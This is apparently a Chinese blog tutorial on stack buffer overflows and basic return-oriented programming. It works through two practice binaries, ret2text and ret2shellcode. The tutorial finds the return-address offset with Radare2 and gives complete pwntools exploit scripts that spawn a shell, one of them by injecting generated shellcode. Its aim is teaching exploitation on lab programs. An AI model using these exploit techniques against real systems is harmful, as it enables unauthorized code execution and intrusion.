如何利用栈溢出执行指定的的代码_栈溢出攻击(2)ROP基础(1)

预备条件

ret2shellcode程序:http://www.hacksprit.top:8090/files/ret2shellcode ret2text程序: http://www.hacksprit.top:8090/files/ret2text 关闭系统的ASLR

栈溢出

在这里对栈溢出进行了介绍。

ROP

学习过Java的人对*OP应该都有所了解,比如OOP(面向对象编程),比如AOP(面向切面编程)。那ROP是 什么?又和栈攻击有什么关系?

ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段( gadgets )来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程,从而绕过NX保护机制

之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件:

  • 程序存在溢出,并且可以控制返回地址。

  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址

ret2text程序

攻击目标

ret2text程序

简单fuzz

通过输入多个字符a进行fuzz,从下图中可以看出程序崩溃。由此推测程序存在漏洞。8bc31c3bf32358df946eacbe335d5871.png

查看保护机制

使用 checksec ret2text 查看程序使用的保护机制,从图中可以看出NX是开启的,也就是无法直接执行栈里面的数据。35c3b69bd806d94fa54f71043f59b42c.png

调试程序

使用Radare2(或者gdb)进行调试,本文使用Radare2进行调试。关于Radare2的介绍,可参考这里。

查看汇编代码

使用 pdf@main0188c6eec5b4dd3a43d967739d3d1296.png通过汇编代码,大致可以写出相应的c代码,居然有一个高度危险的函数gets。由于gets函数不会对输入长度进行校验,那么当长度足够长的时候,就会覆盖到返回地址,然后,当程序返回之后,返回到一个无效的地址,由此就有了上面的程序崩溃。具体可参考这里。

int main(){  char *s;  setbuf(stdout,0,2,0)  setbuf(stdin,0,1,1)  puts("There is something amazing here, do you know anything?")  gets(s);  printf("Maybe I will tell you next time !")  return 0;}
确定与返回地址的偏移

在gets函数之后下断点, 运行程序。f3ea176c4b378ab39e6857158203aa2e.png通过 v 查看栈、寄存器等信息7e9722ebdb7352bb82dafe47aef2bcfc.pngs与ebp的偏移0xffffcfc8 - 0xffffcf5c = 6ch = 6*16+12 = 108,再加上ebp的4个字节就是距离返回地址的偏移,也就是112。然后在返回地址处,填充一个地址,这个地址,指向获取系统shell的代码。,这就是ROP。

High

Address | |

+-----------------+

| args |

+-----------------+

| return address |

+-----------------+

ebp| old ebp |

+-----------------+

| ... |

+-----------------+

ebp-112| 变量s地址 |

Low | |

Address

寻找获取系统shell的代码

通过 pdf@sym.secure 查看汇编代码 ,可以看出有system("/bin/sh")这段代码,于是可以这里的代码。

5c2bf0690a6bf08de499e51a8b85d8e7.png

获取shell
##!/usr/bin/env pythonfrom pwn import *sh = process('./ret2text')target = 0x804863ash.sendline('A' * (0x6c+4) + p32(target))sh.interactive()

运行,结果如下,通过这个shell可以查看进程,用户等信息。3b3bc2b35076d12304f2c01bd4e21603.png

ret2shellcode

攻击目标

ret2shellcode程序

简单fuzz

830bf0e665bbd37ed4b90605208371c4.png

查看保护机制

9665753c4466c9bf222fac629aba2a6d.pngNX未开启

调试程序

9e48b277e7d3cff4d01d6f6824f67a25.png通过分析程序,写出c代码,很明显,依然存在由gets函数引起的栈溢出漏洞。但是多了strncpy内存复制函数,那么如果buf2中的内存是可执行的,写入一段shellcode,然后再跳转到buf2处,就可以控制程序的执行了,这也是ROP。

int main(){  char *s;  setbuf(stdout,0,2,0)  setbuf(stdin,0,1,1)  puts("No system for you this time !!!")  gets(s);  strncpy(buf2,s,0x64)  printf("bye bye ~")  return 0;}

buf2处的内存能否执行,通过 dm查看Memory Map的权限,由于0x804a080在第二行的范围内,因此具有可执行的权限。50af18e70ab8c325baab54771d3e9d78.png

确定与返回地址的偏移

和上面的方法类似。

获取shell

python中ljust函数

Python ljust() 方法返回一个原字符串左对齐,并使用空格填充至指定长度的新字符串。如果指定的长度小于原字符串的长度则返回原字符串

#!/usr/bin/pythonstr = "this is string example....wow!!!";print str.ljust(50, '0');

运行结果,总长度是50,不是填充的字符长度是50

this is string example....wow!!!000000000000000000

shellcode使用的模块

  • asm : 汇编与反汇编,支持x86/x64/arm/mips/powerpc等基本上所有的主流平台

  • shellcraft : shellcode的生成器

获取shell的payload

结合asm可以可以得到最终的pyaload。

from pwn import *

context(os='linux',arch='amd64')

shellcode = asm(shellcraft.sh())

或者

from pwn import *

shellcode = asm(shellcraft.amd64.linux.sh())

除了直接执行sh之外,还可以进行其它的一些常用操作例如提权、反向连接等等。

exploit
#!/usr/bin/env pythonfrom pwn import *sh = process('./ret2shellcode')shellcode = asm(shellcraft.sh())buf2_addr = 0x804a080x = len(shellcode.ljust(112, 'A'))sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))sh.interactive()

运行程序,成功获取shell,可以查看进程等信息。ece8274c5df5d7160e69926b7d163320.png

公众号

更多二进制安全内容,欢迎关注我的公众号:无情剑客。

cee0558b0553bc13290448afb3abaf14.png

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值